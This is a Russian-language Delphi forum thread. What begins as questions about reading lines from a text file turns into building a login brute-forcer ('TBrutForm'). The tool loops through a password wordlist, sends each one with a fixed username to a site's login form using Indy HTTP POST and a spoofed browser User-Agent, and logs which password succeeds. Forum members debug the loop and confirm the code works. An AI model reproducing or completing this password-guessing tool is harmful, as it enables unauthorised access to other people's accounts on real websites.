Привет всем) народ помогите разобраться с text файлами...интересует меня собственно 2 вопроса: 1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!? 2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки! Прошу помочь, оч нуно
Code: Stroki:TStringList; Stroki:=TStringList.Create; Stroki.LoadFromFile('file.txt'); Stroki.Count - количество строк нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить. а вообще используй Pos и Copy
возможно под словом "парсить" он имел ввиду совсем другое, т.е. обычный цикл перебора строк... Code: var i:integer; begin for i:=0 to stroki.count-1 do // если не ошибаюсь, нумерация строк Tstringlist начинается с 0, если все-таки ошибаюсь, то замени 0 на 1, и -1 убери... begin { тут код.... обращаться к текущей строке stroki[i].text; - выведет текст текущей строки... } end; end;
Спасибо, попробовал, но возникло "НО" вот делаю такой код: Code: procedure TForm1.Button1Click(Sender: TObject); var Stroki:TStringList; begin Stroki:=TStringList.Create; Stroki.LoadFromFile('D:\filename.txt'); Label1.Caption := Stroki.Count; end; Ругаеться на : Code: Label1.Caption := Stroki.Count; Понимаю, что это совсем не годиться, ну тогда подскажите куда это значение можно вывести) желательно на Label.Caption! В чем моя ошибка? еще вопрос по поводу счета строк, мне надо что бы при открытие файла т.е. я открываю файл через OpenDialog1 текстовый и мне сразу считывается кол-во строк...подскажите как лучше прикрепить? вот код на OpenDialog1: Code: procedure TBrutForm.LoadButtonClick(Sender: TObject); begin Open1.InitialDir := GetCurrentDir; if Open1.Execute then Password.Text := Open1.FileName else ShowMessage('Файл не выбран!'); end; Подскажите, как прикрутить подсчет строк к этому? P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...
Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer. Надо: Code: Label1.Caption := IntToStr(Stroki.Count); Чтобы при открытии сразу количество строк выводилось, то вот так: Code: procedure TBrutForm.LoadButtonClick(Sender: TObject); begin Open1.InitialDir := GetCurrentDir; if Open1.Execute then begin Password.Text := Open1.FileName; Stroki:=TStringList.Create; Stroki.LoadFromFile(Open1.FileName); Label1.Caption := IntToStr(Stroki.Count); end else ShowMessage('Файл не выбран!'); end; Подскажите, как прикрутить подсчет строк к этому? P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...[/QUOTE]
Ох Вы мой спаситель Спасибо Вам огромное за помощь... Может Вы мне подскажите как сделать так, что бы вытаскивалась строка из файла вставлялась в PassEdit.text например или в какую нить процедуру и так процедура это длилась пока не закончатся строки...хотя бы небольшой пример.
Вот сделал такую процедуру: Code: procedure TBrutForm.StartButtonClick(Sender: TObject); var Http : TidHttp; CM : TidCookieManager; Data : TStringList; StrPage, UserID, UserName : String; Str1 : TStringList; i : Integer; begin Str1:=TStringList.Create; Str1.LoadFromFile(Open1.FileName); begin for i:=0 to str1.count-1 do try Http := TIdHTTP.Create(Self); Data := TStringList.Create; CM := TidCookieManager.Create(Http); Http.AllowCookies := true; Http.CookieManager := CM; Http.HandleRedirects := true; Http.Request.Host:=HostEdit.Text; Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor'; Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3'; Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7'; Http.Request.Referer:=RefererEdit.Text; Data.Add('subaction=dologin'); Data.Add('username='+NickEdit.Text); Data.Add('password='+Str1[i].Text); Data.Add('selected_language='+BoxLanguage.Text); StrPage := Http.Post(HTTPEdit.Text, Data); finally Data.Free; CM.Free; Http.Free; Str1.Free; end; if Pos('Engine:</td',StrPage) <> 0 then ShowMessage('Поздравляем авторизация прошла успешно!') else ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!'); end; Но выдаёт ошибку тут: Code: Data.Add('password='+Str1[i].Text); Ругаеться на +Str1.Text В чем я ошибся, подскажите плз!
Ошибка в том, что обращение к конкретной строке в списке делается просто Str1, где i - номер строки. Никакого Text не надо. Остальное вроде всё верно на первый взгляд)
Конкретно не сталкивался с таким выбором строки, но я делаю так когда нужно показать отдельную какую либо строку: str1.strings
исправил вроде заработало) только если в файле 1 пасс то норм логинится, если он правильный а вот если два то прога виснет) подскажите, что сделать, что бы сначало пробовал первый пасс потом второй потом третий... и т.д.? есть примерные идеи?
Вот так? всё ровно ругается... Code: procedure TBrutForm.StartButtonClick(Sender: TObject); var Http : TidHttp; CM : TidCookieManager; Data : TStringList; StrPage, UserID, UserName : String; Str1 : TStringList; i : Integer; begin Str1:=TStringList.Create; Str1.LoadFromFile(Open1.FileName); begin for i:=0 to str1.count-1 do try Http := TIdHTTP.Create(Self); Data := TStringList.Create; CM := TidCookieManager.Create(Http); Http.AllowCookies := true; Http.CookieManager := CM; Http.HandleRedirects := true; Http.Request.Host:=HostEdit.Text; Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor'; Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3'; Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7'; Http.Request.Referer:=RefererEdit.Text; Data.Add('subaction=dologin'); Data.Add('username='+NickEdit.Text); Data.Add('password='+Str1[i]); Data.Add('selected_language='+BoxLanguage.Text); StrPage := Http.Post(HTTPEdit.Text, Data); finally Data.Free; CM.Free; Http.Free; end; if Pos('Engine:</td',StrPage) <> 0 then MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i]) else MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!'); end; [COLOR=Red]Str1.Free;[/COLOR] end; или за Code: finally Data.Free; CM.Free; Http.Free; end; [COLOR=Red]Str1.Free;[/COLOR] if Pos('Engine:</td',StrPage) <> 0 then MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i]) else по-моему второй вариант? всё ровно виснет если два пароля :\
надо ждать пока залогиниться и проверять это в цикле, далее если залогинился, неправильный пароль, то берешь следущий... функция того компонента, который используешь должна называться что-то вроде LoggedON и иметь тип булевая
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку))) бред =) код проверил - все пашет (с tIdAntiFreeze) разумеется если
Я привык учиться сам.... а купить, что то можно всегда! Что у тебя работает расскажи? цикл подбора паролей?
ты запутался в терминологии: "учиться" и "копипастить" - разные слова))) код работает (post-запросы проходят, параметры передаются, все работает)
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
после перехода на Delphi и соответственно появления TStringList, отпала такая необходимость использовать такое как rewrite(); reset(); readln(); writeln(); eof(); и т.д.
опять бред - во1ых речь не про потоки, во2ых первый раз слышу про "функцию IdHttp что-то вроде LoggedON")) при запросе IdHttp приостанавливает выполнение программы до получения ответа сервера, если же использовать TIdAntiFreeze - это позволит убрать подвисания интерфейса